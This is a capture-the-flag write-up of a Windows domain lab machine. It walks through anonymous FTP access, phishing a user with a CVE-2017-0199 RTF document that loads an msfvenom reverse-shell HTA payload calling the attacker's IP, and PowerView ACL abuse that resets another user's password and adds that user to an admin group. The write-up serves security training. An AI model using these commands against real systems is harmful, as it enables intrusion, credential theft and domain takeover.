$ nmap -p- --min-rate 5000 -Pn 10.129.76.206
Starting Nmap 7.93 ( https://nmap.org ) at 2023-06-16 09:29 +08
Nmap scan report for 10.129.76.206
Host is up (0.025s latency).
Not shown: 65527 filtered tcp ports (no-response)
PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
25/tcp open smtp
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
593/tcp open http-rpc-epmap
49159/tcp open unknown
Interesting ports that are open, as both SMTP and FTP are present.
FTP Anonymous Login
This FTP instance allows for anonymous logins:
$ ftp 10.129.76.206
Connected to 10.129.76.206.
220 Microsoft FTP Service
Name (10.129.76.206:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||41000|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM <DIR> documents
ftp> cd documents
250 CWD command successful.
ftp> ls
229 Entering Extended Passive Mode (|||41001|)
125 Data connection already open; Transfer starting.
05-29-18 12:19AM 2047 AppLocker.docx
05-28-18 02:01PM 124 readme.txt
10-31-17 10:13PM 14581 Windows Event Forwarding.docx
We can download all of these files here. The readme.txt file tells us that the first step is phishing.
$ cat readme.txt
please email me any rtf format procedures - I'll review and convert.
new format / converted documents will be saved here.
The AppLocker.docx file just states that AppLocker is in place:
The last file cannot be opened for some reason. The most interesting thing about it is the metadata extracted with exiftool:
$ exiftool Windows\ Event\ Forwarding.docx
ExifTool Version Number : 12.57
File Name : Windows Event Forwarding.docx
Directory : .
File Size : 15 kB
File Modification Date/Time : 2017:11:01 05:13:23+08:00
File Access Date/Time : 2023:06:16 09:31:05+08:00
File Inode Change Date/Time : 2023:06:16 09:31:05+08:00
File Permissions : -rw-r--r--
File Type : DOCX
File Type Extension : docx
MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document
Zip Required Version : 20
Zip Bit Flag : 0x0006
Zip Compression : Deflated
Zip Modify Date : 1980:01:01 00:00:00
Zip CRC : 0x82872409
Zip Compressed Size : 385
Zip Uncompressed Size : 1422
Zip File Name : [Content_Types].xml
Creator : nico@megabank.com
We have one email here, and it's likely that we need to send our RTF file to nico.
CVE-2017-0199 RTF Exploit
This box is quite old and came out back in 2018, so any public exploits used will have to come from around that time. I googled for 'RTF CVE Exploits', and found quite a few. There was one in 2023, but obviously it isn't the intended attack vector.
I came across this article detailing about an RCE exploit in Microsoft Office using RTF files:
Following the instructions, we can first generate a payload using msfvenom. Earlier, we saw that AppLocker is in place for most executables and scripts, and this exploit allows multiple other methods of getting RCE, such as generating a hta file.
$ msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.42 lport=443 -f hta-psh > shell.hta
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of hta-psh file: 7263 bytes
We can host this file on our own Python HTTP server. Then, generate the RTF file required:
Afterwards, we just need to use sendEmail with the file attached.
$ sendEmail -f user@megabank.com -t nico@megabank.com -u "Invoice" -a Invoice.rtf -s 10.129.76.206
Reading message body from STDIN because the '-m' option was not used.
If you are manually typing in a message:
- First line must be received within 60 seconds.
- End manual input with a CTRL-D on its own line.
hello nico
Jun 16 09:45:50 kali sendEmail[7797]: Message input complete.
Jun 16 09:46:01 kali sendEmail[7797]: Email was sent successfully!
I tried this a few times, and it seems to only work when we use the -x 0 flag instead. When changed, we can get a reverse shell as the user:
Privilege Escalation
Tom Creds
Within the user's directory, there's a cred.xml file present:
C:\Users\nico\Desktop>dir
dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\nico\Desktop
28/05/2018 21:07 <DIR> .
28/05/2018 21:07 <DIR> ..
28/10/2017 00:59 1,468 cred.xml
16/06/2023 02:28 34 user.txt
When viewed, it contains credentials for the tom user:
tom@REEL C:\Users\tom>net user tom
User name tom
Full Name Tom Hanson
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 10/28/2017 12:10:42 AM
Password expires Never
Password changeable 10/29/2017 12:10:42 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/16/2023 2:56:58 AM
Logon hours allowed All
Local Group Memberships *Print Operators
Global Group memberships *Domain Users *SharePoint_Admins
*MegaBank_Users *DR_Site
*HelpDesk_Admins *Restrictions
The desktop also contains some interesting files:
tom@REEL C:\Users\tom\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\tom\Desktop
05/29/2018 08:57 PM <DIR> .
05/29/2018 08:57 PM <DIR> ..
05/29/2018 09:02 PM <DIR> AD Audit
tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt
Findings:
Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query)
.
Maybe we should re-run Cypher query against other groups we've created.
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\tom\Desktop\AD Audit\BloodHound\Ingestors
05/29/2018 08:57 PM <DIR> .
05/29/2018 08:57 PM <DIR> ..
11/17/2017 12:50 AM 112,225 acls.csv
10/28/2017 09:50 PM 3,549 BloodHound.bin
10/24/2017 04:27 PM 246,489 BloodHound_Old.ps1
10/24/2017 04:27 PM 568,832 SharpHound.exe
10/24/2017 04:27 PM 636,959 SharpHound.ps1
So there's already a csv file present with the ACLs we need. I transferred file back to my machine via smbserver.py, and opened it in libreoffice. Then, I searched for the user tom to see if they had any permissions.
I found that our current user has WriteOwner permissions over the user claire.
This would mean that tom can add permissions over claire, of which we don't have any yet. To abuse this, we first need to set tom as the owner of the ACLs over claire using PowerView.
Oddly, there's a copy of PowerView on the machine already:
tom@REEL C:\Users\tom\Desktop\AD Audit\BloodHound>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\tom\Desktop\AD Audit\BloodHound
05/30/2018 12:44 AM <DIR> .
05/30/2018 12:44 AM <DIR> ..
06/16/2023 03:09 AM <DIR> Ingestors
10/30/2017 11:15 PM 769,587 PowerView.ps1
I originally tried copying over my own copy and executing it, but AppLocker kept blocking me. However, using the already present script works. We can then abuse this ACL by setting tom as the object owner and changing passwords of claire:
Set-DomainObjectOwner-Identity claire -OwnerIdentity tom Add-DomainObjectAcl-TargetIdentity claire -PrincipalIdentity tom -Rights ResetPassword$cred =ConvertTo-SecureString'Password@123'-AsPlainText -ForceSet-DomainUserPassword-identity claire -accountpassword $cred
Afterwards, we can ssh in as claire using this password.
WriteDacl -> Admin Creds
The user claire is part of another group.
claire@REEL C:\Users\claire>net user claire
User name claire
Full Name Claire Danes
Comment
User's comment
Country/region code 000 (System Default)
Account active Yes
Account expires Never
Password last set 6/16/2023 3:16:53 AM
Password expires Never
Password changeable 6/17/2023 3:16:53 AM
Password required Yes
User may change password Yes
Workstations allowed All
Logon script
User profile
Home directory
Last logon 6/16/2023 3:18:04 AM
Logon hours allowed All
Local Group Memberships *Hyper-V Administrator
Global Group memberships *Domain Users *MegaBank_Users
*DR_Site *Restrictions
Checking back on the Bloodhound output, we see that claire has WriteDacl permissions over the Backup Admins group:
This means that the user claire can modify the ACLs of the group, which includes adding and removing users.
claire@REEL C:\Users\claire>net group Backup_Admins claire /add /domain
The command completed successfully.
claire@REEL C:\Users\claire>net group Backup_Admins
Group name Backup_Admins
Comment
Members
-------------------------------------------------------------------------------
claire ranj
The command completed successfully.
We can then check the ACLs of the C:\users\administrator directory:
We can view the files present in the Desktop, but we cannot read the root flag.
claire@REEL C:\Users\Administrator\Desktop>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\Administrator\Desktop
01/21/2018 03:56 PM <DIR> .
01/21/2018 03:56 PM <DIR> ..
11/02/2017 10:47 PM <DIR> Backup Scripts
06/16/2023 02:28 AM 34 root.txt
The Backup Scripts folder contains some interesting files, and one contains the admin password:
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>dir
Volume in drive C has no label.
Volume Serial Number is CEBA-B613
Directory of C:\Users\Administrator\Desktop\Backup Scripts
11/02/2017 10:47 PM <DIR> .
11/02/2017 10:47 PM <DIR> ..
11/04/2017 12:22 AM 845 backup.ps1
11/02/2017 10:37 PM 462 backup1.ps1
11/04/2017 12:21 AM 5,642 BackupScript.ps1
11/02/2017 10:43 PM 2,791 BackupScript.zip
11/04/2017 12:22 AM 1,855 folders-system-state.txt
11/04/2017 12:22 AM 308 test2.ps1.txt
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1
# admin password
$password="Cr4ckMeIfYouC4n!"
<TRUNCATED>
